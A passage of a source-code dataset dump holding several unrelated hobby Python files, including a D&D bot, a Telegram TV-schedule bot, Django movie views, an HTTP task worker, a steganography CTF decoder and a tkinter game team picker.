allWeapons:\n return_string = return_string + \"\\n\" + weapon\n return return_string\n elif commandString.lower() in allWeapons: \n return_string = \"Item: \" + commandString +\"\\n\" \n for item in allWeapons[commandString.lower()]:\n return_string = return_string + item + \" : \" +\\\n allWeapons[commandString.lower()][item] + \"\\n\"\n return return_string\n else:\n return_string = \"Hmm, I'm not sure I know that item\"\n return return_string\n\ndef getArmorInfo(commandString):\n commandString = commandString.strip()\n # First, build the armor dict\n allArmor = getAllArmorTypes()\n if commandString.lower() == \"showall\":\n return_string = \"\"\n for armor in allArmor:\n return_string = return_string + \"\\n\" + armor\n return return_string\n elif commandString.lower() in allArmor: \n return_string = \"Item: \" + commandString +\"\\n\" \n for item in allArmor[commandString.lower()]:\n return_string = return_string + item + \" : \" +\\\n allArmor[commandString.lower()][item] + \"\\n\"\n \n return return_string\n else:\n return_string = \"Hmm, I'm not sure I know that item\"\n return return_string\n\ndef buildArmorDictFromFile(armorDict, fileName):\n \"\"\" Takes an existing armor dict, a file with a dict dump from \n the public d and d armor page. Returns the armorDict\"\"\"\n\n\n with open(fileName) as armordata:\n rawcontent = armordata.read()\n newDict = eval(rawcontent)\n armordata.close()\n for key in newDict:\n newDict[key.lower()] = newDict.pop(key)\n returning_dict = dict(armorDict.items() + newDict.items())\n return returning_dict\n\n\ndef getAllArmorTypes():\n allArmor= dict()\n allArmor= buildArmorDictFromFile(allArmor, \"./armor/lightarmor.txt\")\n allArmor = buildArmorDictFromFile(allArmor, \"./armor/mediumarmor.txt\")\n allArmor = buildArmorDictFromFile(allArmor, \"./armor/heavyarmor.txt\")\n return allArmor\n\n#### Spells\ndef getSpellInfo(spellName, cache):\n url = \"http://ephe.github.io/grimoire/spells/\"\n spellName = cleanUpSpellName(spellName)\n if checkCache(cache, spellName):\n clean_output = cache.get(spellName)\n else:\n url = url + spellName\n r = requests.get(url)\n soup = BeautifulSoup(r.content)\n paragraphs = soup.find('article').find_all('p')\n clean_output = \"\"\n for paragraph in paragraphs:\n clean_output = clean_output + paragraph.text + \"\\n\"\n addCache(cache, spellName, clean_output)\n return clean_output\n\n\n\n\ndef cleanUpSpellName(spellName):\n spellName = spellName.lower().strip()\n convertedName = \"\"\n for char in spellName:\n if char == \" \":\n char = \"-\"\n else:\n pass\n convertedName = convertedName + char\n return convertedName\n\n\ndef checkCache(cache, spellName):\n \"\"\" Checks the local redis cache for spell definition\"\"\"\n if cache.exists(spellName):\n print(spellName + \" is in the local cache\")\n return True\n else:\n return False\n\ndef addCache(cache, spellName, spellDef):\n \"\"\" Adds a spell definition to the local redis cache \"\"\"\n try:\n cache.set(spellName, spellDef)\n print(\"Added \" + spellName + \" to local cache\")\n except:\n print(\"Cannot add to redis cache\")\n","repo_name":"timglynn/dndbot","sub_path":"supporting_functions.py","file_name":"supporting_functions.py","file_ext":"py","file_size_in_byte":8597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24592642412","text":"#!/usr/bin/env python3\n# _*_ coding:utf-8 _*_\n\nfrom PIL import Image\nimport numpy as np\n\n\ndef local_fuzzy(image, m, n):\n imagearray = np.array(image)\n shape = np.zeros((imagearray.shape[0]+m-1, imagearray.shape[1]+n-1))\n shape[((m-1)/2):-((m-1)/2)][((n-1)/2):-((n-1)/2)] = imagearray\n result = np.zeros(imagearray.shape)\n print(imagearray.shape)\n for i in range(imagearray.shape[0]):\n for j in range(imagearray.shape[1]):\n xmin = i - int((m - 1) / 2)\n ymin = j - int((n - 1) / 2)\n xmax = i + int((m - 1) / 2)\n ymax = j + int((m - 1) / 2)\n # if xmin < 0 and ymin < 0:\n # number = (m + ) * n - ((0 - xmin) * (0 - ymin) + (0 - xmin) * j + (0 - ymin) * i)\n # elif xmin < 0 and ymin > 0:\n # number = m * n - ((0 - xmin) * (0 - ymin) + (0 - xmin) * j + (0 - ymin) * i)\n result[i][j] = np.sum(shape[i:i+m][j:j+n]) / (m * n)\n\n result = Image.fromarray(result)\n return result\n\n\ndef main():\n with Image.open('./images/Fig0235(c)(kidney_original).tif') as image:\n m = 41\n n = 41\n output = local_fuzzy(image, m, n)\n output.show()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"wang-tf/DIP3E","sub_path":"CH02/local_fuzzy.py","file_name":"local_fuzzy.py","file_ext":"py","file_size_in_byte":1227,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"26417629786","text":"# головний файл бота\n\n\nimport time\nfrom aiogram.utils.markdown import text, bold, italic, code, pre\nfrom datetime import datetime\nfrom aiogram import Bot, types\nfrom aiogram.types import ReplyKeyboardMarkup, ReplyKeyboardRemove, KeyboardButton, InlineKeyboardButton, InlineKeyboardMarkup\nfrom aiogram.types import ParseMode\nfrom aiogram.dispatcher import Dispatcher\nfrom aiogram.utils import executor\nfrom config import TOKEN\nfrom shedule import films_fin, serials_fin, multfilms_fin, multserials_fin\nimport update_day\n\n\n#UPDATE BASE\ndef update_channels():\n update_day.update_all()\n\n\ndef update_all():\n update_channels()\n update_schedules()\n\n\ndef online_schedule(list):\n now = datetime.now()\n current_time = now.strftime(\"%H:%M\")\n time = (int(current_time[0:2]) * 60) + int(current_time[3:])\n if list[0][6] < list[0][7]:\n if time < int(list[0][6]):\n return list\n elif time > int(list[0][6]):\n if time > int(list[0][7]):\n return online_schedule(list[1:])\n elif time < int(list[0][6]):\n return list\n elif list[0][6] > list[0][7]:\n if time < 240:\n if time > int(list[0][7]):\n return online_schedule(list[1:])\n elif time < int(list[0][6]):\n return list\n elif time > 240:\n return list\n\n#update_schedules\ndef update_schedules():\n\n return films_fin, serials_fin, multfilms_fin, multserials_fin\n\n\n\ndef update_all():\n update_channels()\n update_schedules()\n\n\n\ndef make_str_film(sch = online_schedule(films_fin)):\n sch_films_str = \"\"\n for line in sch:\n l = italic(str(line[0])) + \" - \" + italic(str(line[1])) + \": \" + str(line[2])+ ' ' + ' ' + str(line[3]) + '\\n'\n sch_films_str += l\n return sch_films_str\n\ndef make_str_serial(sch = online_schedule(serials_fin)):\n sch_serials_str = \"\"\n for line in sch:\n l = italic(str(line[0])) + \" - \" + italic(str(line[1])) + \": \" + str(line[2]) + str(line[3]) + '\\n'\n sch_serials_str += l\n return sch_serials_str\n\n\n\nupdate_all()\n\n###\n\nsch_films, sch_serials, sch_multfilms, sch_multserials = update_schedules()\n\n###\n\n\nfor line in sch_films:\n line.append('\\n')\nfor line in sch_serials:\n line.append('\\n')\nfor line in sch_multfilms:\n line.append('\\n')\nfor line in sch_multserials:\n line.append('\\n')\n\n\n#Ініціалізація бота\nbot = Bot(token=TOKEN)\ndp = Dispatcher(bot)\n\nbutton_films = InlineKeyboardButton('Фільми', callback_data = 'films')\nbutton_serials = InlineKeyboardButton('Серіали', callback_data = 'serial')\nbutton_channel = InlineKeyboardButton('Певний канал', callback_data = 'channel')\n\nkb_choise = InlineKeyboardMarkup().add(button_channel, button_films, button_serials)\n\n\n\n@dp.message_handler(commands=['start'])\nasync def process_start_command(message: types.Message):\n await message.reply(\"Привіт, мене звати Телепрограма_Бот_ЮА і я можу показати тобі список фільмів або серіалів на сьогодні або програму певного телеканалу. Що б ти хотів або хотіла дізнатися?\", reply_markup=kb_choise)\n\n\n@dp.callback_query_handler(lambda c: c.data == 'films')\nasync def process_callback_button1(callback_query: types.CallbackQuery):\n await bot.answer_callback_query(callback_query.id)\n await bot.send_message(callback_query.from_user.id, str(make_str_film()))\n\n\n@dp.callback_query_handler(lambda c: c.data == 'serial')\nasync def process_callback_button1(callback_query: types.CallbackQuery):\n await bot.answer_callback_query(callback_query.id)\n await bot.send_message(callback_query.from_user.id, str(make_str_serial()), parse_mode=ParseMode.MARKDOWN)\n\n@dp.message_handler(commands=['help'])\nasync def process_help_command(message: types.Message):\n await message.reply(\"Допомога\")\n\n\n\n\nif __name__ == \"__main__\":\n executor.start_polling(dp)\n print(sch_films)\n print(sch_films_str)\n print(sch_serials)\n print(sch_serials_str)\n","repo_name":"AntonYagushchin/Bot_Teleprogram","sub_path":"bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":4130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18927892462","text":"# --coding:utf-8--\n\nfrom PIL import Image\nimage = Image.open('d:/Lena.png')\nwidth,height = 384,698\nb0 = ''\n\nfor x in range(width):\n\tfor y in range(height):\n\t\tif image.getpixel((x,y) ) != (255,255,0):\n\t\t\tif (image.getpixel((x,y) )[2] & 0x01 )== 0x01:\n\t\t\t\tb0 += '\\x00\\x00\\x00'\n\t\t\telse:\n\t\t\t\tb0 += '\\xff\\xff\\xff'\n\n# 读取b0二维数组中元素个个数,也就是从Lena.png中读取到的像素点的个数 = len(b0)/3\npnum = len(b0)/3\t\t\t\nprint(pnum)\n\n# 得到像素点的个数后,可以推算出图片尺寸300x300\nim = Image.frombuffer('RGB', (300,300), b0, 'raw', 'RGB', 0, 1)\t\t\nim.save('d:/1.png')\nimage.close()\n","repo_name":"savior325/ctf_scripts","sub_path":"steganography/心中无码.py","file_name":"心中无码.py","file_ext":"py","file_size_in_byte":617,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"31"} +{"seq_id":"27474961357","text":"import random\n\n\ndef dot_2d(measured_vector, response):\n assert len(measured_vector) == 2\n assert len(response) == 4\n return [measured_vector[0] * response[0] +\n measured_vector[1] * response[1],\n measured_vector[0] * response[2] +\n measured_vector[1] * response[3]]\n\n\ndef col_sum(*input_components):\n result = [0] * len(input_components[0])\n for component in input_components:\n assert len(component) == len(result)\n for dim in range(len(result)):\n result[dim] += component[dim]\n return result\n\n\nclass Behavior:\n num_responses = 2\n\n def __init__(self, response=[random.gauss(0, 1) for _ in range(10)]):\n self.programmed_response = response\n # Each component of a 2d response needs to respond to both the x and y\n # component of what it's responding to, so responding to one thing\n # uses 4 numbers (given the naive implementation)\n # The final 2 response components are the +C component- the default\n # drift\n assert len(self.programmed_response) == Behavior.num_responses * 4 + 2\n\n def react(self, cats, position):\n # Interpret the first two values of the vector as the default drift\n # behavior\n return col_sum(\n self.programmed_response[0:2],\n dot_2d(cats, self.programmed_response[2:6]),\n dot_2d(position, self.programmed_response[6:10]))\n","repo_name":"TaylorPhebillo/prey","sub_path":"behavior.py","file_name":"behavior.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"8124155755","text":"from django.http import HttpResponse\nfrom django.shortcuts import render, redirect\nfrom . models import movie\nfrom .forms import movieform\n\n\n# Create your views here.\ndef index(request):\n obj=movie.objects.all()\n context={\n 'movie_list':obj\n }\n return render(request,'index.html',context)\n\ndef details(request,movie_id):\n entertainment=movie.objects.get(id=movie_id)\n return render(request,'details.html',{'movie':entertainment})\n # return HttpResponse('tis is movie %s' % movie_id)\n\ndef add (request):\n if request.method==\"POST\":\n name = request.POST.get('name')\n description = request.POST.get('description')\n year = request.POST.get('year')\n images = request.FILES['images']\n film = movie(name=name,description=description,year=year,images=images)\n film.save()\n return redirect('/')\n return render(request,'add.html')\n\ndef update(request,id):\n film = movie.objects.get(id=id)\n form = movieform(request.POST or None,request.FILES,instance=film)\n if form.is_valid():\n form.save()\n return redirect('/')\n return render(request,'edit.html',{'form':form,'movie':film})\n\ndef delete(request,id):\n if request.method==\"POST\":\n film=movie.objects.get(id=id)\n film.delete()\n return redirect('/')\n return render(request,'delete.html')\n\n","repo_name":"Nikhil-Mohan2708/python_projects","sub_path":"movieproject/NETFLIX/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34693140405","text":"from __future__ import print_function\n\nimport json\nfrom typing import Any\nfrom typing import Optional\n\nimport requests\nimport requests.auth\nimport requests.utils\nfrom frinx.common.worker.task_result import TaskResult\nfrom frinx.common.worker.task_result import TaskResultStatus\nfrom pydantic import BaseModel\n\n\nclass HttpOutput(BaseModel):\n code: int\n data: dict[str, Any]\n logs: Optional[list[str]] | Optional[str] | None = None\n url: Optional[str] | None = None\n\n class Config:\n min_anystr_length = 1\n\n\ndef http_task(http_request: dict[str, Any] | str) -> TaskResult:\n if isinstance(http_request, str):\n http_request = json.loads(json.dumps(http_request))\n\n uri = http_request[\"uri\"]\n if uri is None:\n return TaskResult(\n status=TaskResultStatus.FAILED, output={\"output\": {\"url\": uri}}, logs=[\"URI is empty\"]\n )\n\n method = http_request[\"method\"]\n if method is None or method.upper() not in [\"GET\", \"PUT\", \"POST\", \"DELETE\", \"HEAD\", \"PATCH\"]:\n return TaskResult(\n status=TaskResultStatus.FAILED,\n output={\"output\": {\"url\": uri}},\n logs=[f\"Method {method} unsupported for {uri}\"],\n )\n\n headers = {}\n if \"contentType\" in http_request:\n headers[\"Content-Type\"] = http_request[\"contentType\"]\n if \"accept\" in http_request:\n headers[\"Accept\"] = http_request[\"accept\"]\n\n additional_headers = http_request[\"headers\"] if \"headers\" in http_request else {}\n headers.update(additional_headers)\n\n body = http_request.get(\"body\", {})\n body = body if isinstance(body, str) else json.dumps(body if body else {})\n\n timeout = http_request[\"timeout\"] if \"timeout\" in http_request else 60.0\n verify_cert = http_request[\"verifyCertificate\"] if \"verifyCertificate\" in http_request else True\n\n cookies = http_request[\"cookies\"] if \"cookies\" in http_request else {}\n\n request_auth = None\n if \"basicAuth\" in http_request:\n if \"username\" not in http_request[\"basicAuth\"]:\n return TaskResult(\n status=TaskResultStatus.FAILED,\n output={\"output\": {\"url\": uri}},\n logs=[f\"Basic auth without username for {uri}\"],\n )\n\n if \"password\" not in http_request[\"basicAuth\"]:\n return TaskResult(\n status=TaskResultStatus.FAILED,\n output={\"output\": {\"url\": uri}},\n logs=[f\"Basic auth without password for {uri}\"],\n )\n request_auth = requests.auth.HTTPBasicAuth(\n http_request[\"basicAuth\"][\"username\"], http_request[\"basicAuth\"][\"password\"]\n )\n\n response = requests.request(\n method,\n uri,\n headers=headers,\n data=body,\n cookies=cookies,\n timeout=timeout,\n auth=request_auth,\n verify=verify_cert,\n )\n\n if 400 <= response.status_code < 600:\n return TaskResult(\n status=TaskResultStatus.FAILED,\n output={\n \"statusCode\": response.status_code,\n \"response\": {\"headers\": dict(response.headers)},\n \"body\": response.content.decode(\"utf-8\", \"ignore\"),\n \"cookies\": requests.utils.dict_from_cookiejar(response.cookies),\n },\n logs=[\n f\"HTTP {response.request.method} request to {response.request.url} succeeded. Headers: {response.request.headers.items()}\"\n ],\n )\n\n return TaskResult(\n status=TaskResultStatus.COMPLETED,\n output={\n \"statusCode\": response.status_code,\n \"response\": {\"headers\": dict(response.headers)},\n \"body\": response.content.decode(\"utf-8\", \"ignore\"),\n \"cookies\": requests.utils.dict_from_cookiejar(response.cookies),\n },\n logs=[\n f\"HTTP {response.request.method} request to {response.request.url} succeeded. Headers: {response.request.headers.items()}\"\n ],\n )\n","repo_name":"FRINXio/fm-base-workers","sub_path":"frinx_python_sdk/src/frinx/services/http/http_worker.py","file_name":"http_worker.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"43251044538","text":"from cmath import polar\nimport tkinter\nfrom turtle import title\nfrom PIL import Image\nfrom PIL import ImageTk\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport json\nimport os\nimport tkinter as tk\nfrom tkinter import TOP, messagebox\nfrom tkinter import BROWSE, LEFT, Canvas, Message, ttk\n\nfrom matplotlib.backends.backend_tkagg import (\n FigureCanvasTkAgg, NavigationToolbar2Tk)\n# Implement the default Matplotlib key bindings.\nfrom matplotlib.backend_bases import key_press_handler\nfrom matplotlib.figure import Figure\nfrom Tools_class import bebek_tools\n\nplayer_list = []\npicked_char = \"\"\npicked_position=\"\"\nplayer_chart = \"\"\nteams_list = []\nteams_dict = dict()\nselected_team=\"\"\nteam_budget=\"\"\nmain_path = os.path.dirname(__file__)\nbtn_dict_board=dict()\nchar_dict_pic=dict()\n\nclass Playable_char(object):\n #Class for player definition\n def __init__(self,player_def):\n self.cl = player_def[\"class\"]\n self.cost = player_def[\"cost\"]\n self.type = player_def[\"type\"]\n self.health = player_def[\"health\"]\n self.move = player_def[\"move\"]\n self.armor = player_def[\"armor\"]\n self.throw = player_def[\"throw\"]\n self.text = player_def[\"text\"]\n self.dexterity = player_def[\"dexterity\"]\n self.pitch_pic = player_def[\"pitch_pic\"]\n self.portret_pic = player_def[\"portret_pic\"]\n self.skills = player_def[\"skills\"]\n self.mutations = player_def[\"mutations\"]\n self.body = player_def[\"body\"]\n\nclass bebek_character(object):\n \n def orc_runner():\n global main_path\n character_prop = dict()\n character_prop['type'] = 'orc'\n character_prop['health'] = 2\n character_prop['move'] = 3\n character_prop['armor'] = 1\n character_prop['throw'] = 5\n character_prop['text'] = 'OR'\n character_prop['team'] = ''\n img_pic_path = os.path.join(main_path,'/Users/GNYAA/source/repos/bebek_python/Bebek/char_pic/orc.png')\n img_pic = Image.open(img_pic_path)\n character_prop['pic'] = ImageTk.PhotoImage(img_pic)\n return character_prop\n \n def dwarf_elder():\n global main_path\n character_prop = dict()\n character_prop['type'] = 'dwarf'\n character_prop['health'] = 1\n character_prop['move'] = 5\n character_prop['armor'] = 4\n character_prop['throw'] = 3\n character_prop['text'] = 'DE'\n character_prop['team'] = ''\n img_pic_path = os.path.join(main_path,'/Users/GNYAA/source/repos/bebek_python/Bebek/char_pic/dwarf.png')\n img_pic= Image.open(img_pic_path)\n character_prop['pic'] = ImageTk.PhotoImage(img_pic)\n return character_prop\n \nclass bebek_team_picker_menu():\n def Check_for_existing_teams():\n global teams_list\n global teams_dict\n teams_list=[]\n team_folder_path = os.path.join(main_path,'/Users/GNYAA/source/repos/bebek_python/Bebek/Teams_')\n for file in os.listdir(team_folder_path):\n if file.endswith(\".json\"):\n team_name = file.split(\".\")[0]\n teams_dict[team_name]=file\n teams_list.append(team_name)\n \n def char_traits_graph(wnd,fig_canv):\n #stats block\n global picked_char\n global player_chart\n fig_canv = player_chart\n character_data = picked_char\n int_health = character_data.health\n int_armor = character_data.armor\n int_throw = character_data.throw\n int_dexterity = character_data.dexterity\n int_move = character_data.move\n title_str = character_data.cl\n \n data_in = [int_health,int_armor,int_throw,int_dexterity,int_move]\n data_labales = [\"Health\",\"Armor\",\"Throw\",\"Dexterity\",\"Move\"]\n data_chart = title_str\n max_val = 8\n angles=np.linspace(0,2*np.pi,len(data_labales), endpoint=False)\n fig=plt.figure(figsize=(6,6))\n ax = fig.add_subplot(polar=True)\n ax.plot(angles,data_in, 'o--', color='g', label=title_str)\n ax.fill(angles, data_in, alpha=0.25, color='g')\n ax.set_thetagrids(angles * 180/np.pi, data_labales)\n ax.set_ylim([0,6])\n plt.grid(True)\n plt.tight_layout()\n plt.legend()\n plt.close()\n \n \n fig_canv.destroy()\n \n fig_canv = FigureCanvasTkAgg(fig, master= wnd)\n fig_canv.draw()\n fig_canv.get_tk_widget().pack(fill=tk.BOTH,expand=True)\n \n fig.char_name = title_str\n player_chart = fig\n \n def Read_char_bank():\n json_path = os.path.join(main_path,'/Users/GNYAA/source/repos/bebek_python/Bebek/char_pack.json')\n with open(json_path,\"r\") as file:\n str_json = file.read().rstrip()\n json_chars = json.loads(str_json)\n chars_data_json = json_chars['Players_char']\n return chars_data_json\n \n \n def GetPlayers(Combobox_teamPick,list_Box):\n #Get picked team\n global player_list\n global dict_of_teams\n list_of_players=[]\n player_list =[]\n list_Box.delete(0,\"end\")\n Json_chars_data = bebek_team_picker_menu.Read_char_bank()\n picked_team = Combobox_teamPick.get()\n #Get list of players for picked team\n for team in Json_chars_data:\n if picked_team == team['Team']:\n players_json = team['Players']\n break\n \n #Parse Player data\n for player in players_json:\n p=Playable_char(player)\n list_of_players.append(p)\n player_list = list_of_players\n \n for idx,p in enumerate(player_list):\n p_class = p.cl\n list_Box.insert(idx,p_class )\n list_Box.pack()\n\n def GetPlayerDetails_listOnly(listbox_players):\n global player_list\n global picked_char\n char_picked = picked_char\n player_class = listbox_players.get(listbox_players.curselection())\n list_of_players = player_list\n for pl_cl in list_of_players:\n picked_class=pl_cl.cl\n if picked_class == player_class:\n picked_char = pl_cl\n break\n\n def GetPlayerDetails_byName(character_name):\n global player_list\n global picked_char\n for pl_cl in player_list:\n picked_class=pl_cl.cl\n if picked_class == character_name:\n picked_char = pl_cl\n break\n\n def GetPlayerDetails(listbox_players,txt_box_class,txt_box_cost,txt_box_type,txt_box_health,txt_box_move,txt_box_armor,txt_box_throw,txt_box_text,txt_box_dext):\n global player_list\n global picked_char\n char_picked = picked_char\n player_class = listbox_players.get(listbox_players.curselection())\n list_of_players = player_list\n for pl_cl in list_of_players:\n picked_class=pl_cl.cl\n if picked_class == player_class:\n picked_char = pl_cl\n break\n bebek_team_picker_menu.Update_players(txt_box_class,txt_box_cost,txt_box_type,txt_box_health,txt_box_move,txt_box_armor,txt_box_throw,txt_box_text,txt_box_dext)\n def Update_team(Team_budget_filed):\n Team_budget_filed.configure(state=tk.NORMAL)\n Team_budget_filed.delete(0,\"end\")\n Team_budget_filed.insert(0,team_budget)\n Team_budget_filed.pack()\n\n def Update_players(txt_box_class,txt_box_cost,txt_box_type,txt_box_health,txt_box_move,txt_box_armor,txt_box_throw,txt_box_text,txt_box_dext):\n txt_box_class.configure(state=tk.NORMAL)\n txt_box_class.delete(0,\"end\")\n txt_box_class.pack()\n \n txt_box_cost.configure(state=tk.NORMAL)\n txt_box_cost.delete(0,\"end\")\n txt_box_cost.pack()\n \n txt_box_type.configure(state=tk.NORMAL) \n txt_box_type.delete(0,\"end\")\n txt_box_type.pack()\n \n txt_box_health.configure(state=tk.NORMAL) \n txt_box_health.delete(0,\"end\")\n txt_box_health.pack()\n \n txt_box_move.configure(state=tk.NORMAL)\n txt_box_move.delete(0,\"end\")\n txt_box_move.pack()\n \n txt_box_armor.configure(state=tk.NORMAL)\n txt_box_armor.delete(0,\"end\")\n txt_box_armor.pack()\n \n txt_box_throw.configure(state=tk.NORMAL)\n txt_box_throw.delete(0,\"end\")\n txt_box_throw.pack()\n \n txt_box_text.configure(state=tk.NORMAL)\n txt_box_text.delete(0,\"end\")\n txt_box_text.pack()\n \n txt_box_dext.configure(state=tk.NORMAL)\n txt_box_dext.delete(0,\"end\")\n txt_box_dext.pack()\n \n try:\n class_char = str(picked_char.cl)\n except:\n class_char = \"\"\n txt_box_class.insert(0,class_char)\n txt_box_class.configure(state=tk.DISABLED)\n txt_box_class.pack()\n try:\n cost_char = picked_char.cost\n except:\n cost_char = \"\"\n txt_box_cost.insert(0,cost_char)\n txt_box_cost.configure(state=tk.DISABLED)\n txt_box_cost.pack()\n try:\n type_char=picked_char.type\n except:\n type_char=\"\"\n txt_box_type.insert(0,type_char)\n txt_box_type.configure(state=tk.DISABLED)\n txt_box_type.pack()\n try:\n health_char = picked_char.health\n except:\n health_char = \"\"\n txt_box_health.insert(0,health_char)\n txt_box_health.configure(state=tk.DISABLED)\n txt_box_health.pack()\n try:\n move_char = picked_char.move\n except:\n move_char =\"\"\n txt_box_move.insert(0,move_char)\n txt_box_move.configure(state=tk.DISABLED)\n txt_box_move.pack()\n try:\n armor_char = picked_char.armor\n except:\n armor_char = \"\"\n txt_box_armor.insert(0,armor_char)\n txt_box_armor.configure(state=tk.DISABLED)\n txt_box_armor.pack()\n try:\n throw_char = picked_char.throw\n except:\n throw_char = \"\"\n txt_box_throw.insert(0,throw_char)\n txt_box_throw.configure(state=tk.DISABLED)\n txt_box_throw.pack()\n \n try:\n text_char = picked_char.text\n except:\n text_char = \"\"\n txt_box_text.insert(0,text_char)\n txt_box_text.configure(state=tk.DISABLED)\n txt_box_text.pack()\n try:\n dexterity_char = picked_char.dexterity\n except:\n dexterity_char = \"\"\n txt_box_dext.insert(0,dexterity_char)\n txt_box_dext.configure(state=tk.DISABLED)\n txt_box_dext.pack() \n\n def Refresh_obj(root_window):\n for c in sorted(root_window.children):\n root_window.children[c].pack() \n \n def char_picker(Mian_window):\n global player_list\n \n \n #list of teams\n List_of_teams=[]\n Json_char_bank=bebek_team_picker_menu.Read_char_bank()\n for team in Json_char_bank:\n List_of_teams.append(team['Team'])\n \n bebek_team_picker_menu.Check_for_existing_teams()\n \n \n #GUI frames\n Window = tk.Toplevel(Mian_window)\n Window.title(\"Char picker\")\n \n Window.maxsize(width=500, height=700)\n w_char_pic = tk.Canvas(Window, width=300, height=500)\n \n top_frame = tk.Frame(Window, width = 100, height = 500, bg='gray')\n top_frame.pack(side='top', fill='both', padx=10, pady=5, expand=True)\n \n \n mid_top_frame = tk.Frame(Window, width = 100, height = 500, bg='gray')\n mid_top_frame.pack(side='top', fill='both', padx=10, pady=5, expand=True)\n \n top_mid_left_frame = tk.Frame(mid_top_frame, width = 100, height = 20, bg='gray')\n top_mid_left_frame.pack(side='left', fill='both', padx=10, pady=5, expand=False)\n \n top_mid_right_frame= tk.Frame(mid_top_frame, width = 100, height = 20, bg='gray')\n top_mid_right_frame.pack(side='right', fill='both', padx=10, pady=5, expand=False)\n \n mid_frame = tk.Frame(Window, width = 100, height = 500, bg='gray')\n mid_frame.pack(side='bottom', fill='both', padx=10, pady=5, expand=True)\n \n frame_left = tk.Frame(mid_frame, width = 100, height = 500, bg='gray')\n frame_left.pack(side='left', fill='both', padx=10, pady=5, expand=True)\n \n right_frame = tk.Frame(mid_frame, width=650, height=400, bg='grey')\n right_frame.pack(side='right', fill='both', padx=10, pady=5, expand=True)\n \n \n \n #Pick player team\n Label_Pick_Menu = tk.Label(top_frame, text=\"Pick your team\", bg=\"gray\").pack(fill=tk.X,padx=5,pady=5)\n combo_pick_player_team = ttk.Combobox(top_frame)\n combo_pick_player_team['values']=teams_list\n combo_pick_player_team['state'] ='readonly'\n combo_pick_player_team.bind(\"<>\",lambda x=1: [TeamSquad.read_team(combo_pick_player_team),bebek_team_picker_menu.Update_team(txt_box_teamBudget)])\n combo_pick_player_team.pack(fill=tk.X,padx=5,pady=5, side=\"top\")\n ### Your Founds\n #team fileds\n ##team budget\n label_team_budget = tk.Label(top_mid_left_frame, text=\"Team budget:\", bg=\"gray\").pack(fill=tk.X,padx=5,pady=5, side=\"left\")\n txt_box_teamBudget = tk.Entry(top_mid_left_frame,bg=\"gray\")\n \n \n \n #Combobox - pick team players\n Label_Player_Clan = tk.Label(frame_left, text=\"Pick player fraction\", bg=\"gray\").pack(fill=tk.X,padx=5,pady=5)\n combo_pick_team = ttk.Combobox(frame_left)\n combo_pick_team['values']=List_of_teams\n combo_pick_team['state'] ='readonly'\n combo_pick_team.bind(\"<>\", lambda x: bebek_team_picker_menu.GetPlayers(combo_pick_team,players_listbox))\n combo_pick_team.pack(fill=tk.X,padx=5,pady=5)\n \n \n \n ###Listbox\n Label_Player_to_buy = tk.Label(frame_left, text=\"players you can hire:\", bg=\"gray\").pack(fill=tk.X,padx=5,pady=5)\n players_listbox = tk.Listbox(frame_left, selectmode=BROWSE)\n players_listbox.bind('<>',lambda x:bebek_team_picker_menu.GetPlayerDetails(players_listbox,txt_box_class,txt_box_cost,txt_box_type,txt_box_health,txt_box_move,txt_box_armor,txt_box_throw,txt_box_text,txt_box_dext))\n players_listbox.pack(fill=tk.BOTH,expand=True)\n \n try:\n tm_budget = str(team_budget)\n txt_box_teamBudget.pack(fill=tk.X,padx=5,pady=5, side=\"right\")\n except:\n tm_budget = \"\"\n txt_box_teamBudget.insert(0,tm_budget)\n txt_box_teamBudget.pack(fill=tk.X,padx=5,pady=5, side=\"left\") \n \n #player_chart\n\n label_char_class = tk.Label(right_frame, text=\"Class\", bg=\"gray\", anchor='w').pack()\n txt_box_class = tk.Entry(right_frame)\n try:\n class_char = str(picked_char.cl)\n except:\n class_char = \"\"\n txt_box_class.insert(0,class_char)\n txt_box_class.pack()\n \n label_char_cost = tk.Label(right_frame, text=\"Cost\", bg=\"gray\").pack()\n txt_box_cost = tk.Entry(right_frame)\n try:\n cost_char = picked_char.cost\n except:\n cost_char = \"\"\n txt_box_cost.insert(0,cost_char)\n txt_box_cost.pack()\n \n label_char_type = tk.Label(right_frame, text=\"Type\", bg=\"gray\").pack()\n txt_box_type = tk.Entry(right_frame)\n try:\n type_char=picked_char.type\n except:\n type_char=\"\"\n txt_box_type.insert(0,type_char)\n txt_box_type.pack()\n \n label_char_health = tk.Label(right_frame, text=\"HP\", bg=\"gray\").pack()\n txt_box_health = tk.Entry(right_frame)\n try:\n health_char = picked_char.health\n except:\n health_char = \"\"\n txt_box_health.insert(0,health_char)\n txt_box_health.pack()\n \n label_char_move = tk.Label(right_frame, text=\"SPD\", bg=\"gray\").pack()\n txt_box_move = tk.Entry(right_frame)\n try:\n move_char = picked_char.move\n except:\n move_char =\"\"\n txt_box_move.insert(0,move_char)\n txt_box_move.pack()\n \n label_char_armor = tk.Label(right_frame, text=\"DEF\", bg=\"gray\").pack()\n txt_box_armor = tk.Entry(right_frame)\n try:\n armor_char = picked_char.armor\n except:\n armor_char = \"\"\n txt_box_armor.insert(0,armor_char)\n txt_box_armor.pack()\n \n label_char_throw = tk.Label(right_frame, text=\"Throw\", bg=\"gray\").pack()\n txt_box_throw = tk.Entry(right_frame)\n try:\n throw_char = picked_char.throw\n except:\n throw_char = \"\"\n txt_box_throw.insert(0,throw_char)\n txt_box_throw.pack()\n \n label_char_text = tk.Label(right_frame, text=\"STR\", bg=\"gray\").pack()\n txt_box_text = tk.Entry(right_frame)\n try:\n text_char = picked_char.text\n except:\n text_char = \"\"\n txt_box_text.insert(0,text_char)\n txt_box_text.pack()\n \n label_char_dext = tk.Label(right_frame, text=\"DEX\", 